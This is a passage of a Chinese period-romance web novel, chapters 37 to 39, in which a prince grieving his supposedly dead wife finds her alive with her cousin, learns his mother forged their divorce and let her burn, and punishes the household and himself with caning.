几日后,信鸽落在院中,婉儿取下绑在上面的竹签交给了姜芙,婉儿问道:“小姐,如何?”
姜芙:“父亲病重。”
婉儿问:“要回吗?”
姜芙从天明思量到天黑,两更天才做了决定,定定道:“回。”
天边出现曦光,马车从凤凰山驶离,一路向北朝江北而去-
薛慎病了五日,第六日才堪堪好转,下人来报,说姜家有人求见。
近三年,姜家一直未曾有人露面,哪怕是姜芙的死讯传回去,姜家那边也没人找上门。
薛慎一度以为关系断了,如今听闻姜家人上门,迫不及待道:“有请。”
来人是姜家的管家,见到薛慎后双膝跪地,“王爷,奴才有事禀告。”
薛慎:“讲。”
管家:“我家老爷病重,想在临终前见王爷一面,求王爷随老奴去趟江北。”
“病重?”薛慎蹙眉,“怎么会这样?”
“思念成疾,老爷是放不下小姐。”管家道,“还请王爷随我回江北。”
薛慎身子骨太不如前,小病大病不断,按理说不宜远行。
小八道:“王爷不可。”
薛慎抬手制止,“好,本王随你去趟江北。”
管家叩谢,“多谢王爷。”
离府事宜需要安排,很快宋氏便知晓了,匆匆赶过来,“慎儿真要去京北?”
薛慎:“岳父身体抱恙,我理应前去。”
“他算哪门子岳父。”宋氏道,“姜芙都死三年了,咱们同姜家的关系也早断了。”
“母亲。”薛慎神色阴戾,“此事儿自有定夺,母亲不必过问。”
“我岂能不问。”宋氏皱眉,“你莫不是现下还忘不了姜芙?”
“芙儿是儿的妻子,只要儿活着便不可能忘记她。”薛慎定定道。
“你——”宋氏抬手扶额,“三年了,你为何还是如此执迷不悟。”
薛慎不想听,沉声道:“小九,送老夫人回房。”
宋氏低语,“你若非要回去母亲也不拦你,但你需快去快回。”
薛慎抱拳作揖,“儿知晓。”
送走了宋氏,薛慎来到案几前,同往常那般执笔作画,画中人婀娜多姿,一看便知是姜芙。
同样的画卷已堆积到各处,占据着整个房间,一如占据着薛慎整个心间一般。
直到此时,他才明了自己有多爱姜芙,恨不得拿自己的命去换她的命。
可惜,一切都晚了,他终归还是失去了她。
痛意难捱时,他总会做些疯狂的事,低头看了眼腕间的伤痕,那些都是他一刀一刀划出来的。
已经数不清多少道疤痕了。
胸口的伤疤也还在,陛下给了他玉肌膏,说是有祛疤除痕的效果,但他从未用过,他要留着这疤,时时刻刻提醒自己,他的芙儿没了。
他彻底失去她了。
自此以后只有他自己,无人在关心爱护他。
芙儿、芙儿……
你若活着该有多好。
忽的,心口处传来痛感,薛慎一个趔趄栽倒在案几上,墨汁洒了出来,弄脏了画卷。
薛慎双眸眯起,发疯般把画卷撕碎,喃喃自语道:“芙儿别气,我再画一张,再画一张。”
说是一张,可从晌午到天黑,他都未停,指尖溢出血依然还在作画。
地上都是姜芙,笑的,蹙眉的,弹琴的,起舞的,千姿百态。
小八进来时看着一地的画卷跪地捡起,叠好,放到了柜子里,里面摆放着若干同样的画卷,皆是薛慎所画。
“王爷用晚膳吗?”
“不。”
薛慎头也没抬。
小八抿抿唇,退了出去,今夜大概王爷又不会安眠了。
小九甚是担忧,低声道:“你怎么不拦着?”
“你能拦住?”小八喉结慢滚,“三年来王爷隔几日便会如此疯魔,谁能拦住。”
小九啧啧道;“王爷对王妃用情至深,没了王妃,王爷连活都不想活了。”
“人你看好了?”小八突然问。
小九:“看好了,让人守着呢。”
“别让他接近王爷。”小八叮咛。
“他不过是姜府的管家,你还怕他对王爷不利?”小九不解道。
“我看他神色不太对,”小八道,“还是小心些为好。”
小九:“放心,我一定看好他。”-
次日,一行人上了马车,小九小八护在车外,任何人不得靠近。
薛慎在马车内补了眠,醒来后精神好了些许,询问了时辰,便安生下来看书。
这些书都是姜芙曾经看过的,一直放在偏殿里是以那夜大火并没有烧掉,安然存了下来。
也正是这些书籍,慰藉了薛慎那颗干枯的心,让他得以生存下去。
其实不止书籍,马车内随处可见熟悉的东西,软榻是姜芙用过的,毯子也是,茶盏也是。
薛慎端起茶盏慢饮一口,随后道:“换茶叶了?”
小八:“是王爷经常喝的那种。”
“换成碧螺春。”薛慎冷声道。
碧螺春是姜芙喜欢的,昔日薛慎最不喜喝碧螺春。
小八:“是。”
直到把茶叶换回来,再次品茗,薛慎沉着的脸色才稍稍好了些许,管家来见他,他也终于给了个笑颜。
“何事?”
“是是关于小姐的。”
“什么?”薛慎道。
“老爷近日总说胡话,说见到小姐了。”管家擦拭一下额头的汗,“奴才怕继时会惊扰了王爷,是以先跟王爷禀明。”
薛慎微挑的眉梢渐渐放平,“知晓了。”
管家还想说什么,可见薛慎脸色极为不好,便把话咽了回去,那年,小姐回府的事他也是听人说的,真假不知。
后来他想找人询问,那些人死的死,发卖的发卖,再也没寻到。
应该是假的吧,小姐都是故去的人了,怎么会回江北。
对,一定是假的。
他躬身退出马车,后面没再敢上来。
……
姜芙是在月末时赶到江北的,看着熟悉的街道,思绪辗转万千。
婉儿问她要不要带些东西回去。
她思付片刻点点头,“好。”
两人着的女装,不方便行事,她们先去店铺买了男装换好后才慢慢在街上逛起来。
只转了一条街,便大包小包,婉儿道:“小,公子,奴才搬不动了。”
姜芙停止,“好吧,就买这些。”
几步外便是姜府,许是近乡情怯,姜芙突然定在原地。
婉儿:“公子,不走吗?”
姜芙凝视着,眼眶渐渐湿漉,哽噎道:“走。”
言罢,两人抬脚朝前走去。
隐隐,后方传来马蹄声,下意识,姜芙回眸去看。
薛慎掀帘,也朝前看过来。
第三十七章 再遇芙儿,是你吗?……
姜芙回眸去看,几步远外驶来一辆马车,看车上的装扮,像是富贵人家,她不免多看了几眼。
忽的,大门打开,有老者走了出来,见到姜芙后,抱拳作揖,“小姐,你终于回来了。”
老者乃是姜府的旧人,确切说是跟着姜芙娘亲一起来到姜府的,后便一直照顾着姜芙。
“伍伯,快起。”姜芙上前搀扶起老者。
伍伯侧身把姜芙迎进去,“老奴无能,只能让小姐从侧门进入。”
姜芙不甚在意道:“不关伍伯的事,是我不想被人看到。”
姜芙没走正门,而是走的西侧门,这里僻静,一般人不会发现,她跟着伍伯进去,问道:“父亲如何了?”
伍伯:“一直未曾转醒。”
“大夫怎么说?”
“怕是……”伍伯摇头,“小姐还是亲自去看看吧。”
姜芙:“好。”
三年未见,再见面,姜芙有些认不出姜父了,他再也不是那个身形伟岸的男子,发丝斑白,面容憔悴,像是枯竭了一般。
“父亲,父亲。”她轻声唤道。
可惜,榻上人一直未曾应答。
“父亲这般有多久了?”
“半年了。”伍伯道,“城中大夫都请过,没用。”
“城外的大夫可有来过?”
“也来过几个,开了方子,服药后还是如此。”
“柳姨娘呢?”姜芙随意问道。
“柳姨娘外出听戏了。”伍伯欲言又止。
“父亲病重她却外出听戏?”姜芙道,“成何体统。”
伍伯轻叹,“自从老爷病后柳姨娘越发我行我素了。”
姜芙眉梢蹙起,“我回来的事她知道吗?”
“小姐说了,任何人都不要讲,是以老奴未曾告知。”伍伯道。
“做得好。”姜芙叮咛,“记住,谁都不要告诉。”
“这是为何?”
“我的行踪不易暴露。”姜芙道,“还往伍伯守口如瓶。”
伍伯:“小姐放心,老奴定会守口如瓶。”
“那我这几日便住在这里照看父亲。”
“也好,这里不会有人打扰。”伍伯躬身道,“老奴去拿吃的。”
婉儿等人走后,悄声说:“小姐,老爷的病?”
姜芙道:“天黑后,你亲自出府去请大夫,就请城西的苑大夫。”
婉儿:“是。”-
天刚黑,婉儿便出了府,没多久把人请来,诊治后,苑大夫开了方子,“按照这个服下,兴许会好转。”
姜芙亲自煎药,喂服,天明时,姜父气色看着红润了些许。
后面两日,姜芙衣不解带照顾,苑大夫再次上门切脉,淡声道:“病情有了好转,只要继续服药定能痊愈。”
姜芙把药方给了伍伯,叮嘱他好生照顾,切入让柳姨娘靠近。
伍伯问道:“小姐要做何?”
“我还有事要办,明日便离去。”姜芙近日总觉隐隐不安,好像要发生什么,她决定尽快离开江北。
“小姐不再多逗留些时日吗?”
“不了。”姜芙道,“这里有足够的银两,你先用着,若有事可飞鸽传信告知。”
姜芙打定主意走便不会停留,次日,早早便从西侧门出了府,马车就在此候着,随即上了车,径直朝城门驶去。
伍伯看着马车远去的影子,抿抿唇,轻叹道,“走了也好,不然总有机会能遇上。”
当年的事伍伯知道的不多,但他耳聪目明知晓姜芙有隐瞒,是以刻意让人拦着那边的客人,没让他见老爷。
怕的就是重遇上会发生不好的事。
现下好了,小姐走了,客人即便要来探望老爷也没关系了。
伍伯口中的客人,正是薛慎。
这两日薛慎有些不对劲,时常会问些不着边际的话。
比如,可有其他人来府上?
再比如,小姐之前的住处在哪,他可否去看看?
提的都是些寻常要求,没人敢怠慢,伍伯找个机灵点的丫鬟带着去的。
薛慎进去后便让丫鬟先行离开,随后他在房间里呆了很久,弯腰拿起铜镜前的梳子,想象着姜芙梳头的样子,唇角不自觉扬起。
“芙儿……”他轻轻唤了声。
下一瞬,胸口传来顿挫感,像是有钝刀子在割,进进出出,痛意袭遍全身。
他没站稳,踉跄着坐到了椅子上,不经意间把梳妆台上的东西挥到了地上。
看着洒了一地的胭脂水粉,黑眸里似乎闪烁着什么。
他在哭。
比起嗷嚎大哭,无声的哭泣更让人痛楚。
小九就着门缝隙朝里看了眼,正好看到薛慎眼角的泪珠,低语:“要进去吗?”
小八:“不想活你可以进去。”
小九想了想,“那还是算了。”
随即乖乖站好。
沉寂了片刻后房间里再次有了动静。
薛
慎跪在地上捡东西,每捡起一件,他便轻唤一声姜芙的名字,足足唤了好多声。
压抑的哭声终是耐不住吼出。
“芙儿——”
薛慎大声嘶吼。
……
驶出江北城不远的马车上,姜芙突然感觉到一阵心悸,她抬手捂着胸口,额间冒出豆大的汗珠。
婉儿见状,问道:“小姐,你怎么了?”
姜芙:“疼。”
“哪里疼?要不要去看大夫?”
“不必,”姜芙道,“你把保心丸给我拿来。”
自从那夜大火后,姜芙便一直服用保心丸,一年后才停药,后来心便再也没疼过,不知今日为何这般。
婉儿不敢耽搁,忙找出保心丸给她服下。
一盏茶后,姜芙才好转,脸色恢复如常。
“小姐,还是停下找大夫看看吧。”
“无碍,”姜芙道,“许是太过奔波了,等我歇息片刻便会没事。”
她这一觉睡了三个时辰,期间一直在做梦。
她梦到了那夜的大火,梦到了薛慎不管不顾冲进火海中,梦到江宸命人把尸身扔下,强行拉起她离开。
梦到她被带到了一处僻静的院子,她在那里住了几日,每日都能听到关于薛慎的事。
什么他癔症了,胡言乱语。
疯魔了,整日梦魇。
病了,卧榻不醒等等这些。
都是不好的消息。
离开前她曾出了一次小院,还被人跟上了,所幸江宸出现的及时,把她带走。
她还梦到了宋氏,那个明知她身陷火海中也不曾施救的女人,她指着她的鼻子骂道:“姜芙,你该死,该死!”
刘氏周氏在一旁冷笑,“哈哈,死的好,死的好。”
姜芙在梦中惊醒,蹭一声坐起。
婉儿扶住她,“小姐,您醒了。”
姜芙抿抿唇,“我口渴。”
婉儿给她递上茶水,“小姐,你总算醒了,可吓死奴婢了。”
茶水入肚后姜芙才能好了些许,看了眼外面的天色已经黑了,对车夫说道:“找个客栈停下,明日再赶路。”
凑巧前方便是客栈,她们便径直去了那里。
前脚刚歇下,后脚便又有马车驶了进来,“上好的厢房来三间。”
掌柜道:“好嘞。”
随后几人上了二楼。
小八问道:“主子,夜路难行,咱们先再次歇息一晚,明日再赶路。”
薛慎一脸疲惫,“好。”
他手里握着那枚梳子,眸光一直落在上面未曾离开半分。
小八知晓薛慎又陷入到癔症中了,便没再多说什么,让小九守着,他去楼下要吃的。
不多时,店小二送来吃的,薛慎没胃口,几乎没吃。
隔壁的厢房中,姜芙也同样没胃口,婉儿哄了许久都没哄好,“小姐,吃一些吧。”
姜芙:“不想吃。”
婉儿:“小姐不吃,那奴婢也不吃。”
“你呀。”姜芙只好吃了些。
婉儿:“这才对嘛。”
吃了几口后姜芙再也吃不下便放下了筷子,“你吃,我出去走走。”
“这里这么乱,小姐还是别乱走了。”
“无妨,我不去远处,只在附近。”
“奴婢陪小姐。”
“不必,你吃。”
姜芙穿上氅衣,推门走了出去。
今夜月色极好,银白月光洒了一地,她缓慢不下楼,去了后院。
后院有口缸,里面装满了水,月亮倒映在其中别有一番韵味。
姜芙想起了什么,忍不住走近,垂眸打量,轻抿的唇角微微挑起。
她想到了娘亲,那年她还小,闹着要天上的月亮,娘亲命人端来一盆水放在院中,告知她,想要月亮自己去取。
她蹲在盆前,开心去抓,只抓到了水,而月亮完好映在其中。
她不甘心,再次抓上去,依然只抓到了水。
娘亲见状把她抱在怀里,语重心长道:“记住,任何事抓的越牢越会得不偿失。”
那时她尚年幼,不懂何意,今夜细思量才明白其中奥妙。
娘亲是在同她讲做人的道理,任何事都是如此,抓的越紧只会消失的越快。
就像她同薛慎。
她那般爱慕他,换来的不也是他的无情对待吗。
离开,才是最好的选择。
外面传来动静,姜芙收回游离的思绪,转身欲离去,发现帕子掉了,弯腰去捡,眼角余光似乎看到了一抹身影。
落拓挺拔修长。
是男子的身影。
这般与男子碰面于理不合,她急忙捡起,侧转身子欲走,刚迈出一步,后方传来声音。
“芙儿,是你吗?”
姜芙身形一震,手中的帕子再次落到了地上。
薛慎?!
第三十八章 嫉妒要命
薛慎饭没吃几口,却喝了不少酒,以至于看到院中背身站立的女子时,下意识唤道:“芙儿,是你吗?”
光影拂到她身上,勾勒出她窈窕纤细的身形,亭亭玉立,同记忆中一般无二。
“芙儿,是你对不对?”
薛慎抬脚欲追,前方女子突然出声,“公子认错人了。”
纵使声音不是,但薛慎依然坚信眼前的女子就是姜芙,他大步追上。
姜芙听到脚步声,拔腿朝前快走,前方有店小二端着酒水过来,她主动走了过去朝店小二手中塞了银钱,低语:“把那人拦住。”
店小二点点头,迎了上去,“公子这里不许生人近,还请公子速速离去。”
店小二个子高,凑巧挡住了薛慎的视线,眨眼的功夫,便不见女子的身影。
薛慎一把推开,快走几步,可惜,还是没追上。
他问道:“刚刚那女子是何人?”
店小二装傻充愣,“女子?什么女子?哪里有女子?客官怕是吃醉了吧。”
薛慎勒住他衣襟,“再问你一次,方才的女子去了哪里?”
“咳咳咳。”店小二脸色胀红,“根本没有女子,只有我一人,客官看错了。”
薛慎时常会产生幻觉,总觉得姜芙便在眼前,在睿王府大家见怪不怪,以至于小八听到后下意识规劝,“兴许真的是主子看错了。属下知晓主子忘不掉王妃,可王妃真的不在了,还请主子保重身子。”
最严重的一次,半夜里薛慎看到姜芙站在池塘正中央向他招手,而他想也没想便跳进了水里。
好在小九发现及时,把他救了上了,不然那次薛慎必死。
薛慎听不进小八的话,面色凝重道:“我就是看到芙儿了,你们去给我找。”
小八小九相视一眼,抱拳作揖,“是。”
找了一圈,没找到。
薛慎问:“人呢?”
小八:“没有。”
小九:“属下也没找到。”
“主子,可能真是看错了。”小八道。
薛慎推开他们自己下了楼,每间客房都找过,也是一无所获,他悻悻回到房间,这一夜都没阖眼。
脑海中反复回旋着庭院中的那幕,银白月光下,女子背对他而站,纤细的身形同姜芙一样。
还有她的声音,虽不是姜芙的,但他隐约看到了她的侧颜,真的很像。
芙儿、芙儿,会是你吗?
不期然的有两道声音交替在耳畔响起,一道说是,一道说不是。
薛慎的心随着声音越拧越紧,到后面,几乎呼吸不上来,他大口喘息,想把窒息感逼退,可徒劳。
无论他怎样做,都挣脱不开。
芙儿,芙儿,你真不要我了吗?
眼泪顺着眼角流淌下来,浸湿了鬓角的发丝,薛慎抬手碰触,看着指间的泪珠,僵硬的扯了扯唇角。
谁会知道,堂堂的睿王,私下里竟是这般模样。
也活该他如此。
是他负了她。
薛慎偶尔会想,为何姜芙不来向他索命呢,若她来,他一定把命给她。
任凭她处置-
另一处,姜芙落荒而逃,婉儿不懂,“小姐,为何这般急迫?”
姜芙看了眼车外,见已走远,长吁一口气,说道:“我刚
看见薛慎了。”
“王、王爷?”婉儿大惊失色,“在哪?”
姜芙:“客栈。”
“王爷为何会在客栈?”
“不知。”
“那王爷有没有认出小姐?”
“他喝了酒,应该没认出。”
但不管他是否认出,她都不能冒这个险。
“小姐是为了躲王爷才如此急迫离开吗?”婉儿问。
“是。”姜芙稳稳心绪,“我不想同往日的任何人扯上关系。”
最不想的便是薛慎。
既然她死在了三年前,那么今生他们便不应该再遇见,对她,对他都好。
婉儿知晓姜芙的心思,抿抿唇,“天下虽大莫非王土,万一有一日真遇到,小姐又当如何?”
姜芙没想那么远,“继时再说吧。”
她想他们不可能遇到。
……
一晃从江北回到凤凰山月余,江宸的书信再次送到,说是不日便会来看她。
既然他要来,那么回信也不必写了。
姜芙把注意力都放在了生意上,寻思着再开一家首饰店,婉儿担心她身子,“这般操劳,奴婢怕小姐身子吃不消。”
姜芙莞尔一笑,“你家小姐身子好的很,无妨。”
说干便干,江宸来凤凰山的前一日,新的首饰店开业了,新掌柜也是个女子,八面玲珑,是做生意的好手。
人是无意中寻到的,姜芙甚是满意,夸婉儿眼力不错,婉儿哪里敢邀功,笑着说:“是秦娘子主动找上门说想当掌柜的。”
现如今的世道,众人对女子经商还是不认可,总觉得是件丢脸的事。
姜芙因着自己的遭遇,对成亲的女子格外厚待,“只要她好好干,将来肯定有所作为。”
秦娘子也确实是能干的人,打理的井井有条。
次日,江宸一早赶到了凤凰山,看到秦娘子那刹,眉梢淡挑了下。
姜芙只顾着高兴并未发现异常,含笑道:“表哥好久不见。”
江宸命随从把东西搬下马车,噙笑说:“数月不见,阿芙看上去更惬意了。”
姜芙作揖,“多亏表哥照拂。”
姜芙做生意的银钱有一部分是江宸出的,说是借给她,实则从未追要过,每次皆是姜芙主动归还,他才会收下。
还会说:“你知晓,我要的不是这个。”
姜芙知晓他要的是什么,但她无法给予,也明着拒绝过,显然,江宸并未放在心上。
“表哥这次要来多久?”
“两个月。”
“如此甚好。”姜芙道,“正好让阿芙带表哥好好转转。”
说到转转,江宸立马来了主意,“前面有杂耍,要不要一起去看看?”
姜芙成日忙着生意,也许久未曾游玩,点头,“好。”
没坐马车,而是慢悠悠走在街上。
别看凤凰山只是一个小镇,应有尽有,什么稀奇玩意都不缺。
姜芙初来此地先是被这里的风景吸引,而后便被这里的商机留住,这个小镇,不是一般的小镇,听闻当今天子年少时还曾在这里小住过。
两人驻足在人群中,相视一眼,淡然笑笑。
随即再次朝前走去。
前方是卖糕点的铺子,江宸说了句:“稍等。”拔腿朝前走出,出来时手里捧着热乎出炉的糕点。
“给。”
姜芙笑着接过,“谢谢表哥。”
她打开,当街吃起来,唇角染了糕屑,江宸指了指,随后拿出帕子,为她擦拭。
姜芙一脸羞红,“我自己来。”
“没关系,我来就好。”江宸道。
两人含笑睨着对方,殊不知暗处正在有人看着他们。
那日巧遇,薛慎酒醒后越想越不对劲,找来店掌柜,逼问下得知,确实有两名女子入驻。
他拿出画像给掌柜看,掌柜指着画卷说道:“其中一个女子就是她。”
薛慎忍住心悸,“你看仔细。”
掌柜:“爷,真是她,不会错。”
他们兵分三路找人,最后在下游处回合,小八道:“王妃应该是去了南边。”
随后一行人朝南奔来,又是边走边询问,竟然真的寻到了踪迹,有人告知,画中女子朝凤凰山的方向去了。
薛慎不敢耽搁,连夜朝凤凰山赶来,一路上马儿都未曾停歇,终于在十日后到了这里。
这十日他们风餐露宿,觉都没好好睡过。
本以为不会那么快寻到人,岂料就是这么巧,在街上撞见。
小九眼睛大睁:“主子,真是王妃!王妃竟然还活着!”
小八抬肘撞了他一下,“闭嘴。”
小九抿抿唇,不再出声。
薛慎眯眼凝视着前方,眼前浮现的是那日姜芙葬身火海的情景,他不顾自身安危冲了进去,险些丧命。
本是想同她一起死,谁知,她安然活着。
不但安然活着,还活的非常好。
他本应该高兴,可看着她同江宸如此亲密无间,心里说不出的酸痛。
姜芙停下,左右张望,江宸问道:“怎么了?”
姜芙见没异常,淡声道:“无事。”
她指了指前面的布匹店,“我想去做几件衣裙。”
江宸:“好,我陪你。”
两人相偕进了店里,做衣服是假,观望才是真,姜芙再次感觉到有人在盯着她。
她拿着衣裙去了里间,让江宸在外面等。
半晌后,姗姗走出,江宸上前,垂眸打量,“很好看。”
随即他对掌柜说:“这件我们要了。”
说着便拿出银钱。
姜芙拦住,“我有钱。”
“我知道你有钱。”江宸道,“但你的生辰马上便到了,算是我送你的生辰礼。”
他不提,她倒还真的忘了。
其实生辰不生辰的不重要,她对那些都不太在意。
“还想要什么?江宸又问。
姜芙摇头,“没了。”
出来时,她故意放慢脚步,朝右看了眼,似乎看到了一闪而逝的身影。
她低声提醒,“有人在跟着咱们。”
江宸脸上含笑,“放心,有表哥在定会护你周全。”
江宸说到做到,一路都在护着姜芙,看到姜芙喜欢的东西也会顺手买给她。
逛到了晌午,姜芙带着他去了古月斋。
他们熟悉彼此的喜好,选的也都是对方爱吃的菜色。
江宸:“没想到阿芙还记得?”
“阿芙不会忘,”姜芙夹了菜放江宸碗碟中,“表哥吃吃看。”
江宸:“阿芙夹的,定是最好吃的。”
江宸的心意昭然若揭,姜芙全当听不懂,莞尔一笑,“表哥还没吃,怎么就知道好吃了。”
“我就是知晓。”江宸眉欲碰触她的手,见她收回,淡笑一声,问道,“你几时有空随我回离城一趟?”
江宸邀请过她数次,但姜芙以各种理由拒绝了,内情她自己知晓,她不想给江宸希望。
“年前怕是不得空。”
“无妨,那就年后再说。”
“好。”
两人边攀谈边吃,甚是惬意。
饭后,一起走出。
前方有孩童在奔跑,眼见要撞到姜芙身上,江宸伸手去拉,但晚了一步,有人扣住了姜芙是手腕,一个拉扯把她揽进了怀里。
熟悉的男声从头顶上方传来。
姜芙听那人说。
“芙儿,我总算寻到你了。”
第三十九章 做梦滚呐!
姜芙愣了须臾,从薛慎怀中挣脱出,冷声道:“公子,你认错人了。”
“我没认错,你就是我的芙儿。”若是没有江宸,她这样讲,薛慎会以为认错,但江宸在,那便错不了。
她就是他的芙儿。
“芙儿,我知道你生我的气,之前的一切都是我的错。”薛慎乞求道,“原谅我一次,好不好?”
姜芙用力挣脱,“我不是什么芙儿,松手。”
日
思夜想了三年,薛慎哪里舍得松开,摇头,“不,你就我的芙儿,你就是我的芙儿。”
江宸看不下去,一把推开薛慎,“够了。”
薛慎踉跄后退两步,稳住身子后,抽出腰间软剑朝江宸扑去,“你敢带走芙儿,今日本王便同你拼了。”
他生不如此三年,其中心酸只有他自己知晓,几次自残,为的便是死后能同姜芙在一起。
到头来……他却成了笑话。
他把这一切归在了江宸身上,若不是他的挑唆,姜芙不会离开他,他也不会忍受三年分离之苦。
今日江宸必须死。
薛慎招招致命,恨不得一剑贯穿江宸的身体。
“她是我的妻,你竟然私自带她离开,江宸,今日便是你的死期!”
江宸冷笑,“想杀我?那得看看你有没有这个本事。”
“有没有试试不就知道了。”薛慎一脚踢上。
江宸后退开,随后两人几个跳跃到了几步外的僻静小巷,没了旁人的叨扰,厮杀更甚。
冷风骤然起来,吹乱了发丝。
姜芙匆匆赶过来,挡在薛慎面前,“你敢伤他,先杀了我。”
薛慎眼眸眯起,温声道:“芙儿,听话,让开。”
姜芙没让,展开双臂,“要么放我们两个一起走,要么连我也杀了,你自己选。”
薛慎情愿杀了自己也舍不得姜芙有丝毫差错,他面露悲戚,“你当真为了他愿意死?”
姜芙定定道:“是。”
“那我呢?”薛慎问到,“芙儿,那我呢?”
“你?”姜芙道,“王爷忘了么,三年前我们说好要和离的。”
和离……
薛慎手中的剑应声落到地上,他道:“我从未说过要同你和离。”
“你未曾说过,可有人已经同意了。”
“谁?”
“老夫人。”姜芙道,“她已带你写下了和离书。”
当年这一插曲旁人皆不知,实则,宋氏早看不惯姜芙,又见薛慎迟迟下不了决心便代替他写了和离书,还请族中长辈签了字。
更甚者,天子都同意了。
之所以瞒着薛慎,不过是因他几次三番寻死。
“不可能。”薛慎摇头,“你诓我。”
“你大可去找老夫人询问。”姜芙道,“薛慎,早在三年前我们便已经没了任何干系。”
“请你好自为之。”
言罢,姜芙带着江宸离开。
薛慎怔愣站在原地,等他们彻底不见后,他捂住胸口,喷出一口血。
小八小九赶过来,“主子。”
薛慎:“备马,我要回堰都。”
之后十来日,薛慎一直处在梦魇中,梦中,总是同一个场景。
姜芙穿着一袭紫色罗裙,手持利剑,告诉他,他们已经和离了,她同他再无一丝干系。
他不信,欲上前。
她不假思索给了他一剑。
血流了一地,他倒了下去,死前看到姜芙同江宸手牵手离去。
下一个梦境还是如此。
周而复始,他陷入到了无尽的杀戮中,每次都是他被杀。
持剑人一直都是姜芙。
她恨他,恨意深入骨髓。
薛慎从梦中惊醒,睁开眼,看着熟悉的四周才知晓自己回了府中,挣扎着坐起,他去了前院,见到宋氏后,开门见山问:“你给了姜芙和离书?”
宋氏本以为这件事不会知晓,当时她打的算盘是,既然姜芙想和离那便和离好了,不过那些嫁妆什么的,她别想带走。
凑巧姜芙看穿了她的意图,主动说那些陪嫁可以不要。
既能把人赶走,还能留下嫁妆,她当即同意,不过和离之事繁琐,她本意想趁薛慎酒醉让他把字签了。
可薛慎惊醒,一直未曾如愿,后来她便把主意打到了宫里那位身上。
反正只要他允了,和离的事便成了。
事情进展的很顺利,和离书签好她给了姜芙,怕姜芙会闹她还想了诸多说辞,甚至找来了苏妙儿膈应她,未曾想,她什么也没说,痛快把和离书收下。
唯一的纰漏是绿竹园走水。
想着没把人赶走,她还甚觉晦气,不过刘妈一句话点醒了她,“反正王妃都会死,和离与否也便不那么重要了。”
也对,与其和离还不如她死了好。
这也是那夜她为何不救姜芙的主要原因,她想让姜芙死,最好连同和离书一起消失不见,这样她在薛慎面前还是慈母。
她做过的荒唐事也不会有人知晓。
窃喜了三年,突然被问及,宋氏错愕道:“什么和离?慎儿吃醉了不成?”
“咳咳。”薛慎掩唇轻咳几声,再次问道,“母亲是否给过姜芙一封和离书?”
到此时薛慎还期翼着没有,可看宋氏的样子,他顿时心中明了。
“母亲真给了?”
“没有。”
薛慎冷声道:“小八,把人抓起来。”
小八:“是。”
不多时,小八把人带进来,刘妈跪地道:“王爷饶命,王爷饶命。”
薛慎:“本王给你一次机会,把你知道的都讲一遍。”
“老老奴什么都不知呀。”刘妈道,“老奴真是什么都不知。”
“狗奴才。”薛慎给了她一脚,“拉去院中杖刑。”
“王爷,王爷饶命……”
梃杖声传来,刘妈声嘶力竭的呼喊着,“饶命,饶命,饶命。”
宋氏见状出声阻止,“儿,刘妈哪里受得住杖刑,她会死的。”
薛慎咬牙切齿,“母亲还不说实话吗?”
眼见刘妈要被打死,宋氏缓缓闭上了眼,颤着声音说:“是。”
……
那日后来,受刑的人更多了,主院的下人们统统没放过,刘氏周氏连同苏妙儿也在受刑中。
刘氏怒吼,“老三,我可是你大嫂,你不能如此对我。”
“不能。”薛慎道,“打,狠狠打。”
周氏原本正在幸灾乐祸,下一瞬被小九抓了过去,她道:“老三,二嫂最疼你,你不能。”
“二嫂,你对芙儿做过什么你自己知晓。”
“我?我什么都没做过。”
薛慎掀眸,“没有吗?”
周氏吓得说不出一句话。
此起彼伏的哭喊声响彻四周,睿王府众人哭成了一片。
宋氏道:“逆子,你是想气死我吗?”
薛慎让下手中茶杯,定定道:“您是我母亲我不能对你做什么,但你做过的事总要有人代受过。”
他脱下身上的外袍,露出亵衣,双膝跪地,“小八,动刑。”
宋氏大惊,颤抖着声音说:“你要作何?”
薛慎:“我要代母受过。”
“不可。”宋氏知晓他身子不利落,“你真想看我死是不是?”
“母亲当**走芙儿时可否想到她会死?”薛慎一字一顿道,“明知她被困火中而不让人施救,可否想到她有多难过?”
“母亲如此心狠手,是儿子的过错。”
“儿子理应受此刑罚。”
“小八,打!”
梃杖落在薛慎身上,顷刻间出现血痕,小八抿抿唇,“主子。”
薛慎:“五十梃杖,一棍都不能少。”
“主子会受不住的。”小八道。
“死了也好,正好把命还给芙儿。”薛慎自嘲笑笑,“这是我薛家欠她的。”
哭喊声到了深夜才停止。
大夫进进出出数次,血水洒了一次又一次。
宋氏问道:“如何了?”
大夫:“就看王爷造化了,若是能挺过今晚便能活,若是挺不过……”
宋氏咚一声跌坐在地上,“真是造孽呀。”
“大夫,一定要救活我儿,不然我也不活了。”宋氏哭戚戚道。
“老夫定会竭尽所能。”大夫道。
本以为消息能瞒住,还是泄露了出去,天蒙蒙亮,宫里便派人过来,几个太医轮流为薛慎看诊。
又是摇头,又是轻叹。
这一折腾,到了次日的夜里。
薛慎没死,但也没有苏醒,他直挺挺躺在床上,仿若活死
人。
这般坚持了十日,十日后,薛慎醒了过来,众人长吁一口气。
只是这口气还未真的舒缓,便发生了让人始料未及的事,薛慎不见了。
翻遍了整个睿王府也没寻到人,倒是有人看到说天明时有马车从王府驶离,随即他们又去找小八小九,也未曾寻到。
守城门的说王爷一早出城了,至于去往何处,不知。
苏妙儿好不容易把人等回来,挨了一顿梃杖不说,又把人给丢了,她哭着去找了宋氏。
宋氏正烦呢,没好气道:“连个人都看不住,真是没用。”
苏妙儿委屈道:“王爷心里只有姜芙,奴婢便是想拦也拦不住。”
宋氏蹙眉,“整日哭哭啼啼的成何体统,回你的住处闭门思过。”
房里没了人,宋氏从柜子里找出一封信笺,随后把它烧掉。
没人知晓,她烧的是什么。
那是她日后会带入坟墓中的秘密-
薛慎去了凤凰山,小八道:“已经找好了住处,咱们是先去那里,还是?”
薛慎:“问出芙儿住哪了吗?”
小八:“王妃住东街。”
薛慎:“那便去东街。”
他要守株待兔,等姜芙出来。
可从天明等到天黑也没把人等出来,小八道:“王爷,咱还是先回吧。”
薛慎全身痛的厉害,也确实不宜再呆在车里,点头,“好。”
话音方落,便看到有两人从前面街口转过来,正慢悠悠走着。
女子手中还提着兔子形状的笼灯。
姜芙淡笑道:“表哥手还是那么巧。”
“喜欢吗?”江宸问道。
“喜欢啊。”姜芙莞尔笑笑。
“喜欢的话,下次还给你做。”笼灯是江宸亲手编的,他知晓姜芙喜欢,便学着做了很多,把最好的那只拿给了她。
姜芙轻叹,“表哥博学多才,什么都会,不像我,除了经商外,其他都不在行。”
“会经商,已经是翘楚了。”江宸含情脉脉道,“阿芙比男子都强。”
“表哥又说笑了。”
“我是真心话。”
